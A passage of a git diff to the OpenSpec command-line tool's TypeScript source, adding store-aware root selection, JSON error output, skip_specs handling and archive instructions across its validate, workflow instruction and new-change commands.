getSpecIds(root.path)]); const items: { name: string; value: { type: ItemType; id: string } }[] = []; items.push(...changes.map(id => ({ name: `change/${id}`, value: { type: 'change' as const, id } }))); items.push(...specs.map(id => ({ name: `spec/${id}`, value: { type: 'spec' as const, id } }))); @@ -90,66 +118,106 @@ export class ValidateCommand { return; } const picked = await select<{ type: ItemType; id: string }>({ message: 'Pick an item', choices: items }); - await this.validateByType(picked.type, picked.id, opts); + await this.validateByType(root, picked.type, picked.id, opts); } - private printNonInteractiveHint(): void { + private printNonInteractiveHint(root: ResolvedOpenSpecRoot): void { console.error('Nothing to validate. Try one of:'); - console.error(' openspec validate --all'); - console.error(' openspec validate --changes'); - console.error(' openspec validate --specs'); - console.error(' openspec validate <item-name>'); + console.error(` ${withStoreFlag(root, 'openspec validate --all')}`); + console.error(` ${withStoreFlag(root, 'openspec validate --changes')}`); + console.error(` ${withStoreFlag(root, 'openspec validate --specs')}`); + console.error(` ${withStoreFlag(root, 'openspec validate <item-name>')}`); console.error('Or run in an interactive terminal.'); } - private async validateDirectItem(itemName: string, opts: { typeOverride?: ItemType; strict: boolean; json: boolean }): Promise<void> { - const [changes, specs] = await Promise.all([getActiveChangeIds(), getSpecIds()]); + private async validateDirectItem(root: ResolvedOpenSpecRoot, itemName: string, opts: { typeOverride?: ItemType; strict: boolean; json: boolean }): Promise<void> { + const [changes, specs] = await Promise.all([this.listChangeIds(root), getSpecIds(root.path)]); const isChange = changes.includes(itemName); const isSpec = specs.includes(itemName); const type = opts.typeOverride ?? (isChange ? 'change' : isSpec ? 'spec' : undefined); if (!type) { - console.error(`Unknown item '${itemName}'`); const suggestions = nearestMatches(itemName, [...changes, ...specs]); - if (suggestions.length) console.error(`Did you mean: ${suggestions.join(', ')}?`); + const message = suggestions.length + ? `Unknown item '${itemName}'. Did you mean: ${suggestions.join(', ')}?` + : `Unknown item '${itemName}'.`; + if (opts.json) { + console.log( + JSON.stringify( + { status: [{ severity: 'error', code: 'unknown_item', message }] }, + null, + 2 + ) + ); + } else { + console.error(message); + } process.exitCode = 1; return; } if (!opts.typeOverride && isChange && isSpec) { + if (opts.json) { + console.log( + JSON.stringify( + { + status: [ + { + severity: 'error', + code: 'ambiguous_item', + message: `Ambiguous item '${itemName}' matches both a change and a spec.`, + fix: 'Pass --type change|spec.', + }, + ], + }, + null, + 2 + ) + ); + process.exitCode = 1; + return; + } console.error(`Ambiguous item '${itemName}' matches both a change and a spec.`); - console.error('Pass --type change|spec, or use: openspec change validate / openspec spec validate'); + // The noun-form commands are cwd-based and cannot reach a selected store. + if (isStoreSelectedRoot(root)) { + console.error('Pass --type change|spec.'); + } else { + console.error('Pass --type change|spec, or use: openspec change validate / openspec spec validate'); + } process.exitCode = 1; return; } - await this.validateByType(type, itemName, opts); + await this.validateByType(root, type, itemName, opts); } - private async validateByType(type: ItemType, id: string, opts: { strict: boolean; json: boolean }): Promise<void> { + private async validateByType(root: ResolvedOpenSpecRoot, type: ItemType, id: string, opts: { strict: boolean; json: boolean }): Promise<void> { const validator = new Validator(opts.strict); if (type === 'change') { - const changeDir = path.join(process.cwd(), 'openspec', 'changes', id); + const changeDir = path.join(root.changesDir, id); const start = Date.now(); - const report = await validator.validateChangeDeltaSpecs(changeDir); + const report = await validator.validateChangeDeltaSpecs(changeDir, { + mainSpecsDir: root.specsDir, + projectRoot: root.path, + }); const durationMs = Date.now() - start; - this.printReport('change', id, report, durationMs, opts.json); + this.printReport('change', id, report, durationMs, opts.json, root); // Non-zero exit if invalid (keeps enriched output test semantics) process.exitCode = report.valid ? 0 : 1; return; } - const file = path.join(process.cwd(), 'openspec', 'specs', id, 'spec.md'); + const file = path.join(root.specsDir, id, 'spec.md'); const start = Date.now(); const report = await validator.validateSpec(file); const durationMs = Date.now() - start; - this.printReport('spec', id, report, durationMs, opts.json); + this.printReport('spec', id, report, durationMs, opts.json, root); process.exitCode = report.valid ? 0 : 1; } - private printReport(type: ItemType, id: string, report: { valid: boolean; issues: any[] }, durationMs: number, json: boolean): void { + private printReport(type: ItemType, id: string, report: { valid: boolean; issues: any[] }, durationMs: number, json: boolean, root: ResolvedOpenSpecRoot): void { if (json) { - const out = { items: [{ id, type, valid: report.valid, issues: report.issues, durationMs }], summary: { totals: { items: 1, passed: report.valid ? 1 : 0, failed: report.valid ? 0 : 1 }, byType: { [type]: { items: 1, passed: report.valid ? 1 : 0, failed: report.valid ? 0 : 1 } } }, version: '1.0' }; + const out = { items: [{ id, type, valid: report.valid, issues: report.issues, durationMs }], summary: { totals: { items: 1, passed: report.valid ? 1 : 0, failed: report.valid ? 0 : 1 }, byType: { [type]: { items: 1, passed: report.valid ? 1 : 0, failed: report.valid ? 0 : 1 } } }, version: '1.0', root: toRootOutput(root) }; console.log(JSON.stringify(out, null, 2)); return; } @@ -162,16 +230,32 @@ export class ValidateCommand { const prefix = issue.level === 'ERROR' ? '✗' : issue.level === 'WARNING' ? '⚠' : 'ℹ'; console.error(`${prefix} [${label}] ${issue.path}: ${issue.message}`); } - this.printNextSteps(type); + this.printNextSteps(type, id, root, report.issues); } } - private printNextSteps(type: ItemType): void { + private printNextSteps(type: ItemType, id: string, root: ResolvedOpenSpecRoot, issues: Array<{ message: string }> = []): void { const bullets: string[] = []; - if (type === 'change') { + // The delta-authoring bullets contradict a marker-related error ("add + // deltas" vs "remove skip_specs or the files"), so branch on the exact + // marker messages - the generic no-deltas guidance also mentions + // skip_specs, which must not trigger this. + const conflictIssue = issues.some(i => + i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_CONFLICT) + ); + const invalidMarkerIssue = issues.some(i => + i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA) + ); + if (type === 'change' && conflictIssue) { + bullets.push('- This change declares skip_specs (no spec deltas): delete the files under specs/, or remove skip_specs from .openspec.yaml if requirements do change'); + bullets.push('- skip_specs is only honored when .openspec.yaml is valid change metadata (schema: <name> naming a known schema is required)'); + } else if (type === 'change' && invalidMarkerIssue) { + bullets.push('- Fix .openspec.yaml so the skip_specs marker can be honored (schema: <name> naming a known schema is required)'); + bullets.push('- Or remove skip_specs from .openspec.yaml and add delta specs instead'); + } else if (type === 'change') { bullets.push('- Ensure change has deltas in specs/: use headers ## ADDED/MODIFIED/REMOVED/RENAMED Requirements'); bullets.push('- Each requirement MUST include at least one #### Scenario: block'); - bullets.push('- Debug parsed deltas: openspec change show <id> --json --deltas-only'); + bullets.push(`- Debug parsed deltas: ${withStoreFlag(root, `openspec show ${id} --json --deltas-only`)}`); } else { bullets.push('- Ensure spec includes ## Purpose and ## Requirements sections'); bullets.push('- Each requirement MUST include at least one #### Scenario: block'); @@ -181,11 +265,11 @@ export class ValidateCommand { bullets.forEach(b => console.error(` ${b}`)); } - private async runBulkValidation(scope: { changes: boolean; specs: boolean }, opts: { strict: boolean; json: boolean; concurrency?: string; noInteractive?: boolean }): Promise<void> { + private async runBulkValidation(root: ResolvedOpenSpecRoot, scope: { changes: boolean; specs: boolean }, opts: { strict: boolean; json: boolean; concurrency?: string; noInteractive?: boolean }): Promise<void> { const spinner = !opts.json && !opts.noInteractive ? ora('Validating...').start() : undefined; const [changeIds, specIds] = await Promise.all([ - scope.changes ? getActiveChangeIds() : Promise.resolve<string[]>([]), - scope.specs ? getSpecIds() : Promise.resolve<string[]>([]), + scope.changes ? this.listChangeIds(root) : Promise.resolve<string[]>([]), + scope.specs ? getSpecIds(root.path) : Promise.resolve<string[]>([]), ]); const DEFAULT_CONCURRENCY = 6; @@ -197,8 +281,11 @@ export class ValidateCommand { for (const id of changeIds) { queue.push(async () => { const start = Date.now(); - const changeDir = path.join(process.cwd(), 'openspec', 'changes', id); - const report = await validator.validateChangeDeltaSpecs(changeDir); + const changeDir = path.join(root.changesDir, id); + const report = await validator.validateChangeDeltaSpecs(changeDir, { + mainSpecsDir: root.specsDir, + projectRoot: root.path, + }); const durationMs = Date.now() - start; return { id, type: 'change' as const, valid: report.valid, issues: report.issues, durationMs }; }); @@ -206,7 +293,7 @@ export class ValidateCommand { for (const id of specIds) { queue.push(async () => { const start = Date.now(); - const file = path.join(process.cwd(), 'openspec', 'specs', id, 'spec.md'); + const file = path.join(root.specsDir, id, 'spec.md'); const report = await validator.validateSpec(file); const durationMs = Date.now() - start; return { id, type: 'spec' as const, valid: report.valid, issues: report.issues, durationMs }; @@ -225,7 +312,7 @@ export class ValidateCommand { } as const; if (opts.json) { - const out = { items: [] as BulkItemResult[], summary, version: '1.0' }; + const out = { items: [] as BulkItemResult[], summary, version: '1.0', root: toRootOutput(root) }; console.log(JSON.stringify(out, null, 2)); } else { console.log('No items found to validate.'); @@ -281,7 +368,7 @@ export class ValidateCommand { } as const; if (opts.json) { - const out = { items: results, summary, version: '1.0' }; + const out = { items: results, summary, version: '1.0', root: toRootOutput(root) }; console.log(JSON.stringify(out, null, 2)); } else { for (const res of results) { @@ -289,6 +376,13 @@ export class ValidateCommand { else console.error(`✗ ${res.type}/${res.id}`); } console.log(`Totals: ${summary.totals.passed} passed, ${summary.totals.failed} failed (${summary.totals.items} items)`); + const firstFailure = results.find((res) => !res.valid); + if (firstFailure) { + const storeFlag = isStoreSelectedRoot(root) ? ` --store ${root.storeId}` : ''; + console.log( + `Details: openspec validate ${firstFailure.id} --type ${firstFailure.type}${storeFlag}` + ); + } } process.exitCode = failed > 0 ? 1 : 0; diff --git a/src/commands/workflow/index.ts b/src/commands/workflow/index.ts index 232b2dbe34..4c468760a3 100644 --- a/src/commands/workflow/index.ts +++ b/src/commands/workflow/index.ts @@ -7,7 +7,11 @@ export { statusCommand } from './status.js'; export type { StatusOptions } from './status.js'; -export { instructionsCommand, applyInstructionsCommand } from './instructions.js'; +export { + instructionsCommand, + applyInstructionsCommand, + archiveInstructionsCommand, +} from './instructions.js'; export type { InstructionsOptions } from './instructions.js'; export { templatesCommand } from './templates.js'; diff --git a/src/commands/workflow/instructions.ts b/src/commands/workflow/instructions.ts index 7afba14753..1ae6fac7c0 100644 --- a/src/commands/workflow/instructions.ts +++ b/src/commands/workflow/instructions.ts @@ -12,15 +12,42 @@ import { loadChangeContext, generateInstructions, resolveSchema, + resolveArtifactOutputPath, resolveArtifactOutputs, type ArtifactInstructions, } from '../../core/artifact-graph/index.js'; +import { + getChangeDir, + resolveCurrentPlanningHomeSync, + type PlanningHome, +} from '../../core/planning-home.js'; +import { + resolveRootForCommand, + withStoreFlag, + toPlanningHome, + toRootOutput, + type ResolvedOpenSpecRoot, +} from '../../core/root-selection.js'; +import { + assembleReferenceIndex, + renderReferencedStoresBlock, + renderReferencedStoresSection, + type ReferenceIndexEntry, +} from '../../core/references.js'; +import { readRegistrySnapshot } from '../../core/store/registry.js'; +import { + loadOperationInputs, + readProjectConfig, + type ProjectConfig, +} from '../../core/project-config.js'; import { validateChangeExists, validateSchemaExists, type TaskItem, type ApplyInstructions, + type ArchiveInstructions, } from './shared.js'; +import { parseTaskLines, type ParsedTask } from '../../utils/task-progress.js'; // ----------------------------------------------------------------------------- // Types @@ -29,36 +56,91 @@ import { export interface InstructionsOptions { change?: string; schema?: string; + store?: string; + storePath?: string; json?: boolean; } export interface ApplyInstructionsOptions { change?: string; schema?: string; + store?: string; + storePath?: string; json?: boolean; } +export type ArchiveInstructionsOptions = ApplyInstructionsOptions; + // ----------------------------------------------------------------------------- // Artifact Instructions Command // ----------------------------------------------------------------------------- +/** + * Reads the resolved root's config once, assembles the referenced-store + * index when references are declared, and resolves the config path for + * fix text. Shared by both instruction surfaces. + */ +async function loadRootConfigContext(root: ResolvedOpenSpecRoot): Promise<{ + projectConfig: ProjectConfig | null; + references: ReferenceIndexEntry[] | undefined; +}> { + // readProjectConfig never throws: missing/unparseable configs are null. + const projectConfig = readProjectConfig(root.path); + + // One registry read serves every relationship consumer in this + // output so it never carries a torn snapshot. + const snapshot = await readRegistrySnapshot(); + const registryEntries = snapshot.entries; + + const declared = projectConfig?.references ?? []; + const index = + declared.length > 0 + ? await assembleReferenceIndex({ references: declared, resolvedRoot: root, registryEntries }) + : []; + + // Omitted, not empty: an index emptied by self-reference omission must + // look identical to an undeclared one in JSON. + return { + projectConfig, + references: index.length > 0 ? index : undefined, + }; +} + export async function instructionsCommand( artifactId: string | undefined, options: InstructionsOptions ): Promise<void> { + // Resolve (and banner) before the spinner starts so stderr stays readable. + const root = await resolveRootForCommand(options, { json: options.json }); + if (!root) { + return; + } + const spinner = options.json ? undefined : ora('Generating instructions...').start(); try { - const projectRoot = process.cwd(); - const changeName = await validateChangeExists(options.change, projectRoot); + const planningHome = toPlanningHome(root); + const projectRoot = root.path; + const changeName = await validateChangeExists( + options.change, + projectRoot, + root.changesDir, + { newChangeHint: withStoreFlag(root, 'openspec new change <name>') } + ); // Validate schema if explicitly provided if (options.schema) { validateSchemaExists(options.schema, projectRoot); } + const { projectConfig, references } = await loadRootConfigContext(root); + // loadChangeContext will auto-detect schema from metadata if not provided - const context = loadChangeContext(projectRoot, changeName, options.schema); + const context = loadChangeContext(projectRoot, changeName, options.schema, { + changeDir: getChangeDir(planningHome, changeName), + planningHome, + projectConfig, + }); if (!artifactId) { spinner?.stop(); @@ -78,13 +160,16 @@ export async function instructionsCommand( ); } - const instructions = generateInstructions(context, artifactId, projectRoot); + const instructions = generateInstructions(context, artifactId, projectRoot, { + projectConfig, + references, + }); const isBlocked = instructions.dependencies.some((d) => !d.done); spinner?.stop(); if (options.json) { - console.log(JSON.stringify(instructions, null, 2)); + console.log(JSON.stringify({ ...instructions, root: toRootOutput(root) }, null, 2)); return; } @@ -101,7 +186,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc changeName, schemaName, changeDir, - outputPath, + resolvedOutputPath, description, instruction, context, @@ -115,6 +200,18 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc console.log(`<artifact id="${artifactId}" change="${changeName}" schema="${schemaName}">`); console.log(); + // Artifacts skipped via skip_specs get no creation directive: emitting the + // task/template anyway would prompt an agent to write spec files that + // validate then rejects as conflicting with the marker. + if (instructions.skipped) { + console.log('<warning>'); + console.log(instructions.warning ?? 'This artifact is skipped (skip_specs is set in .openspec.yaml).'); + console.log('</warning>'); + console.log(); + console.log('</artifact>'); + return; + } + // Warning for blocked artifacts if (isBlocked) { const missing = dependencies.filter((d) => !d.done).map((d) => d.id); @@ -141,6 +238,12 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc console.log(); } + // Referenced-store index (read-only upstream context) + if (instructions.references && instructions.references.length > 0) { + console.log(renderReferencedStoresBlock(instructions.references)); + console.log(); + } + // Rules (AI constraint - do not include in output) if (rules && rules.length > 0) { console.log('<rules>'); @@ -155,9 +258,18 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc // Dependencies (files to read for context) if (dependencies.length > 0) { console.log('<dependencies>'); - console.log('Read these files for context before creating this artifact:'); + console.log('Read the current contents of these files before creating this artifact (re-read them from disk even if you saw them earlier - they may have been edited):'); console.log(); for (const dep of dependencies) { + // A dependency satisfied via skip_specs has no files by design: telling + // the agent to read them (or calling them "done") would send it hunting + // for spec files that must not exist. + if (dep.skipped) { + console.log(`<dependency id="${dep.id}" status="skipped">`); + console.log(` <description>Skipped: the change declares skip_specs, so this artifact has no files to read.</description>`); + console.log('</dependency>'); + continue; + } const status = dep.done ? 'done' : 'missing'; const fullPath = path.join(changeDir, dep.path); console.log(`<dependency id="${dep.id}" status="${status}">`); @@ -171,7 +283,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc // Output location console.log('<output>'); - console.log(`Write to: ${path.join(changeDir, outputPath)}`); + console.log(`Write to: ${resolvedOutputPath}`); console.log('</output>'); console.log(); @@ -213,31 +325,37 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc // ----------------------------------------------------------------------------- /** - * Parses tasks.md content and extracts task items with their completion status. + * Turns parsed task lines into the listed task items. + * + * A checkbox with no text after it is left out of the list: this is work for an + * agent to act on and tick off, and a bare `- [ ]` gives it nothing to match. + * It still counts toward progress, which is taken from every parsed line, so + * this list can be shorter than the totals beside it but never disagrees with + * `openspec list` or archive about how much work is left. An empty list is also + * what puts apply in its "nothing to work on" state, so a file of nothing but + * text-less checkboxes asks to be rewritten instead of being called done. */ -function parseTasksFile(content: string): TaskItem[] { +function toTaskItems(parsed: ParsedTask[]): TaskItem[] { const tasks: TaskItem[] = []; - const lines = content.split('\n'); - let taskIndex = 0; - - for (const line of lines) { - // Match checkbox patterns: - [ ] or - [x] or - [X] - const checkboxMatch = line.match(/^[-*]\s*\[([ xX])\]\s*(.+)\s*$/); - if (checkboxMatch) { - taskIndex++; - const done = checkboxMatch[1].toLowerCase() === 'x'; - const description = checkboxMatch[2].trim(); - tasks.push({ - id: `${taskIndex}`, - description, - done, - }); - } + + for (const task of parsed) { + if (task.description.length === 0) continue; + tasks.push({ + id: `${tasks.length + 1}`, + description: task.description, + done: task.done, + }); } return tasks; } +export interface GenerateApplyInstructionsOptions { + planningHome?: PlanningHome; + references?: ReferenceIndexEntry[]; + projectConfig?: ProjectConfig | null; +} + /** * Generates apply instructions for implementing tasks from a change. * Schema-aware: reads apply phase configuration from schema to determine @@ -246,10 +364,18 @@ function parseTasksFile(content: string): TaskItem[] { export async function generateApplyInstructions( projectRoot: string, changeName: string, - schemaName?: string + schemaName?: string, + options: GenerateApplyInstructionsOptions = {} ): Promise<ApplyInstructions> { + const planningHome = + options.planningHome ?? resolveCurrentPlanningHomeSync({ startPath: projectRoot }); + const references = options.references; // loadChangeContext will auto-detect schema from metadata if not provided - const context = loadChangeContext(projectRoot, changeName, schemaName); + const context = loadChangeContext(projectRoot, changeName, schemaName, { + changeDir: getChangeDir(planningHome, changeName), + planningHome, + projectConfig: options.projectConfig, + }); const changeDir = context.changeDir; // Get the full schema to access the apply phase configuration @@ -261,10 +387,16 @@ export async function generateApplyInstructions( const requiredArtifactIds = applyConfig?.requires ?? schema.artifacts.map((a) => a.id); const tracksFile = applyConfig?.tracks ?? null; const schemaInstruction = applyConfig?.instruction ?? null; + const operationInputs = loadOperationInputs(options.projectConfig ?? null, 'apply'); - // Check which required artifacts are missing + // Check which required artifacts are missing. Artifacts the change skips + // via skip_specs count as present - their files must not exist, and + // status already reports them complete, so apply cannot block on them. const missingArtifacts: string[] = []; for (const artifactId of requiredArtifactIds) { + if (context.skippedArtifacts?.has(artifactId)) { + continue; + } const artifact = schema.artifacts.find((a) => a.id === artifactId); if (artifact && resolveArtifactOutputs(changeDir, artifact.generates).length === 0) { missingArtifacts.push(artifactId); @@ -281,20 +413,22 @@ export async function generateApplyInstructions( } // Parse tasks if tracking file exists - let tasks: TaskItem[] = []; + let parsedTasks: ParsedTask[] = []; let tracksFileExists = false; if (tracksFile) { - const tracksPath = path.join(changeDir, tracksFile); + const tracksPath = resolveArtifactOutputPath(changeDir, tracksFile); tracksFileExists = fs.existsSync(tracksPath); if (tracksFileExists) { const tasksContent = await fs.promises.readFile(tracksPath, 'utf-8'); - tasks = parseTasksFile(tasksContent); + parsedTasks = parseTaskLines(tasksContent); } } + const tasks = toTaskItems(parsedTasks); - // Calculate progress - const total = tasks.length; - const complete = tasks.filter((t) => t.done).length; + // Calculate progress over every checkbox in the file, listed or not, so these + // numbers match `openspec list` and archive's incomplete-task check. + const total = parsedTasks.length; + const complete = parsedTasks.filter((task) => task.done).length; const remaining = total - complete; // Determine state and instruction @@ -309,11 +443,12 @@ export async function generateApplyInstructions( const tracksFilename = path.basename(tracksFile); state = 'blocked'; instruction = `The ${tracksFilename} file is missing and must be created.\nUse openspec-continue-change to generate the tracking file.`; - } else if (tracksFile && tracksFileExists && total === 0) { - // Tracking file exists but contains no tasks + } else if (tracksFile && tracksFileExists && tasks.length === 0) { + // Tracking file exists but lists nothing an agent can work on: either no + // checkboxes at all, or only checkboxes with no text after them. const tracksFilename = path.basename(tracksFile); state = 'blocked'; - instruction = `The ${tracksFilename} file exists but contains no tasks.\nAdd tasks to ${tracksFilename} or regenerate it with openspec-continue-change.`; + instruction = `The ${tracksFilename} file exists but contains no tasks to work on.\nAdd tasks to ${tracksFilename} or regenerate it with openspec-continue-change.`; } else if (tracksFile && remaining === 0 && total > 0) { state = 'all_done'; instruction = 'All tasks are complete! This change is ready to be archived.\nConsider running tests and reviewing the changes before archiving.'; @@ -336,28 +471,48 @@ export async function generateApplyInstructions( state, missingArtifacts: missingArtifacts.length > 0 ? missingArtifacts : undefined, instruction, + ...(references !== undefined ? { references } : {}), + ...operationInputs, }; } export async function applyInstructionsCommand(options: ApplyInstructionsOptions): Promise<void> { + // Resolve (and banner) before the spinner starts so stderr stays readable. + const root = await resolveRootForCommand(options, { json: options.json }); + if (!root) { + return; + } + const spinner = options.json ? undefined : ora('Generating apply instructions...').start(); try { - const projectRoot = process.cwd(); - const changeName = await validateChangeExists(options.change, projectRoot); + const planningHome = toPlanningHome(root); + const projectRoot = root.path; + const changeName = await validateChangeExists( + options.change, + projectRoot, + root.changesDir, + { newChangeHint: withStoreFlag(root, 'openspec new change <name>') } + ); // Validate schema if explicitly provided if (options.schema) { validateSchemaExists(options.schema, projectRoot); } - // generateApplyInstructions uses loadChangeContext which auto-detects schema - const instructions = await generateApplyInstructions(projectRoot, changeName, options.schema); + // One parsed config snapshot supplies schema fallback, references, context, + // and operation guidance for this command. + const { projectConfig, references } = await loadRootConfigContext(root); + const instructions = await generateApplyInstructions(projectRoot, changeName, options.schema, { + planningHome, + references, + projectConfig, + }); spinner?.stop(); if (options.json) { - console.log(JSON.stringify(instructions, null, 2)); + console.log(JSON.stringify({ ...instructions, root: toRootOutput(root) }, null, 2)); return; } @@ -375,6 +530,11 @@ export function printApplyInstructionsText(instructions: ApplyInstructions): voi console.log(`Schema: ${schemaName}`); console.log(); + if (instructions.references && instructions.references.length > 0) { + console.log(renderReferencedStoresSection(instructions.references)); + console.log(); + } + // Warning for blocked state if (state === 'blocked' && missingArtifacts) { console.log('### ⚠️ Blocked'); @@ -420,4 +580,80 @@ export function printApplyInstructionsText(instructions: ApplyInstructions): voi // Instruction console.log('### Instruction'); console.log(instruction); + console.log(); + + printOperationInputsText(instructions); +} + +export function generateArchiveInstructions( + changeName: string, + projectConfig: ProjectConfig | null +): ArchiveInstructions { + return { + changeName, + ...loadOperationInputs(projectConfig, 'archive'), + }; +} + +export async function archiveInstructionsCommand( + options: ArchiveInstructionsOptions +): Promise<void> { + const root = await resolveRootForCommand(options, { json: options.json }); + if (!root) { + return; + } + + const spinner = options.json ? undefined : ora('Loading archive inputs...').start(); + + try { + const changeName = await validateChangeExists( + options.change, + root.path, + root.changesDir, + { newChangeHint: withStoreFlag(root, 'openspec new change <name>') } + ); + const projectConfig = readProjectConfig(root.path); + const instructions = generateArchiveInstructions(changeName, projectConfig); + + spinner?.stop(); + + if (options.json) { + console.log(JSON.stringify({ ...instructions, root: toRootOutput(root) }, null, 2)); + return; + } + + printArchiveInstructionsText(instructions); + } catch (error) { + spinner?.stop(); + throw error; + } +} + +export function printArchiveInstructionsText(instructions: ArchiveInstructions): void { + console.log(`## Archive Inputs: ${instructions.changeName}`); + console.log(); + printOperationInputsText(instructions); +} + +function printOperationInputsText(inputs: { + context?: string; + operationGuidance?: string[]; +}): void { + if (inputs.context) { + console.log('### Project Context (required instruction input)'); + console.log(inputs.context); + console.log(); + } + + if (inputs.operationGuidance && inputs.operationGuidance.length > 0) { + console.log('### Operation Guidance (advisory)'); + for (const guidance of inputs.operationGuidance) { + console.log(`- ${guidance}`); + } + console.log(); + } + + if (!inputs.context && !inputs.operationGuidance) { + console.log('No project context or operation guidance configured.'); + } } diff --git a/src/commands/workflow/new-change.ts b/src/commands/workflow/new-change.ts index 1435e1addb..3e059242dc 100644 --- a/src/commands/workflow/new-change.ts +++ b/src/commands/workflow/new-change.ts @@ -1,13 +1,27 @@ /** * New Change Command * - * Creates a new change directory with optional description and schema. + * Creates a new change directory with optional description and schema in the + * resolved OpenSpec root. `--store <id>` selects a registered store's + * root; initiative linking and workspace affected areas are no longer part of + * this command. */ import ora from 'ora'; import path from 'path'; import { createChange, validateChangeName } from '../../utils/change-utils.js'; -import { validateSchemaExists } from './shared.js'; +import { formatChangeLocation } from '../../core/planning-home.js'; +import { + resolveRootForCommand, + RootSelectionError, + toPlanningHome, + toRootOutput, + withStoreFlag, + type ResolvedOpenSpecRoot, + type RootOutput, + isStoreSelectedRoot, +} from '../../core/root-selection.js'; +import { printJson, statusFromError, validateSchemaExists } from './shared.js'; // ----------------------------------------------------------------------------- // Types @@ -15,47 +29,140 @@ import { validateSchemaExists } from './shared.js'; export interface NewChangeOptions { description?: string; + goal?: string; schema?: string; + store?: string; + storePath?: string; + initiative?: string; + areas?: string; + json?: boolean; +} + +interface NewChangeOutput { + change: { + id: string; + path: string; + metadataPath: string; + schema: string; + }; + root: RootOutput; } // ----------------------------------------------------------------------------- // Command Implementation // ----------------------------------------------------------------------------- -export async function newChangeCommand(name: string | undefined, options: NewChangeOptions): Promise<void> { - if (!name) { - throw new Error('Missing required argument <name>'); +function assertRemovedOptionsAbsent(options: NewChangeOptions): void { + if (options.initiative !== undefined) { + throw new RootSelectionError( + '--initiative is no longer supported. Normal changes no longer attach to initiatives; --store <id> selects the OpenSpec root.', + 'initiative_option_removed', + { target: 'change.options' } + ); } - const validation = validateChangeName(name); - if (!validation.valid) { - throw new Error(validation.error); + if (options.areas !== undefined) { + throw new RootSelectionError( + '--areas is no longer supported. Workspace affected areas are not part of the normal OpenSpec root path.', + 'areas_option_removed', + { target: 'change.options' } + ); } +} - const projectRoot = process.cwd(); - - // Validate schema if provided - if (options.schema) { - validateSchemaExists(options.schema, projectRoot); - } +function printCreatedChangeHuman( + payload: NewChangeOutput, + root: ResolvedOpenSpecRoot +): void { + // A relative path is only honest when the root is where the user + // stands; a distant ancestor root gets the absolute path. + const location = + !isStoreSelectedRoot(root) && root.path === process.cwd() + ? formatChangeLocation(toPlanningHome(root), payload.change.id) + : payload.change.path; + console.log(`Created change '${payload.change.id}' at ${location}/`); + console.log(`Schema: ${payload.change.schema}`); + console.log(`Next: ${withStoreFlag(root, `openspec status --change ${payload.change.id}`)}`); +} - const schemaDisplay = options.schema ? ` with schema '${options.schema}'` : ''; - const spinner = ora(`Creating change '${name}'${schemaDisplay}...`).start(); +export async function newChangeCommand(name: string | undefined, options: NewChangeOptions): Promise<void> { + const spinner = options.json ? undefined : ora(); try { - const result = await createChange(projectRoot, name, { schema: options.schema }); + if (!name) { + throw new Error('Missing required argument <name>'); + } + + const validation = validateChangeName(name); + if (!validation.valid) { + throw new Error(validation.error); + } + + assertRemovedOptionsAbsent(options); + + const root = await resolveRootForCommand(options, { + json: options.json, + failurePayload: { change: null }, + }); + if (!root) { + return; + } + + const projectRoot = root.path; + + // Validate schema if provided + if (options.schema) { + validateSchemaExists(options.schema, projectRoot); + } + + const resolvedSchema = options.schema ?? root.defaultSchema; + if (spinner) { + spinner.start(`Creating change '${name}' with schema '${resolvedSchema}'...`); + } + + const result = await createChange(projectRoot, name, { + schema: options.schema, + defaultSchema: root.defaultSchema, + changesDir: root.changesDir, + metadata: { + ...(options.goal ? { goal: options.goal } : {}), + }, + }); // If description provided, create README.md with description if (options.description) { const { promises: fs } = await import('fs'); - const changeDir = path.join(projectRoot, 'openspec', 'changes', name); - const readmePath = path.join(changeDir, 'README.md'); + const readmePath = path.join(result.changeDir, 'README.md'); await fs.writeFile(readmePath, `# ${name}\n\n${options.description}\n`, 'utf-8'); } - spinner.succeed(`Created change '${name}' at openspec/changes/${name}/ (schema: ${result.schema})`); + const payload: NewChangeOutput = { + change: { + id: name, + path: result.changeDir, + metadataPath: path.join(result.changeDir, '.openspec.yaml'), + schema: result.schema, + }, + root: toRootOutput(root), + }; + + if (options.json) { + printJson(payload); + return; + } + + spinner?.stop(); + printCreatedChangeHuman(payload, root); } catch (error) { - spinner.fail(`Failed to create change '${name}'`); + spinner?.stop(); + if (options.json) { + printJson({ + change: null, + status: [statusFromError(error)], + }); + process.exitCode = 1; + return; + } throw error; } } diff --git a/src/commands/workflow/shared.ts b/src/commands/workflow/shared.ts index 43c9aa46c9..2840e004ed 100644 --- a/src/commands/workflow/shared.ts +++ b/src/commands/workflow/shared.ts @@ -9,12 +9,21 @@ import chalk from 'chalk'; import path from 'path'; import * as fs from 'fs'; import { getSchemaDir, listSchemas } from '../../core/artifact-graph/index.js'; -import { validateChangeName } from '../../utils/change-utils.js'; +import type { ReferenceIndexEntry } from '../../core/references.js'; +import { isRootSelectionError } from '../../core/root-selection.js'; // ----------------------------------------------------------------------------- // Types // ----------------------------------------------------------------------------- +export interface ChangeCommandStatus { + severity: 'error' | 'warning'; + code: string; + message: string; + target?: string; + fix?: string; +} + export interface TaskItem { id: string; description: string; @@ -35,6 +44,20 @@ export interface ApplyInstructions { state: 'blocked' | 'all_done' | 'ready'; missingArtifacts?: string[]; instruction: string; + /** Referenced-store index (read-only upstream context; omitted when none declared) */ + references?: ReferenceIndexEntry[]; + /** Current project background from the selected root. */ + context?: string; + /** Current advisory guidance for apply. */ + operationGuidance?: string[]; +} + +export interface ArchiveInstructions { + changeName: string; + /** Current project background from the selected root. */ + context?: string; + /** Current advisory guidance for archive. */ + operationGuidance?: string[]; } // ----------------------------------------------------------------------------- @@ -47,6 +70,22 @@ export const DEFAULT_SCHEMA = 'spec-driven'; // Utility Functions // ----------------------------------------------------------------------------- +export function printJson(payload: unknown): void { + console.log(JSON.stringify(payload, null, 2)); +} + +export function statusFromError(error: unknown): ChangeCommandStatus { + if (isRootSelectionError(error)) { + return { ...error.diagnostic }; + } + + return { + severity: 'error', + code: 'change_error', + message: error instanceof Error ? error.message : String(error), + }; +} + /** * Checks if color output is disabled via NO_COLOR env or --no-color flag. */ @@ 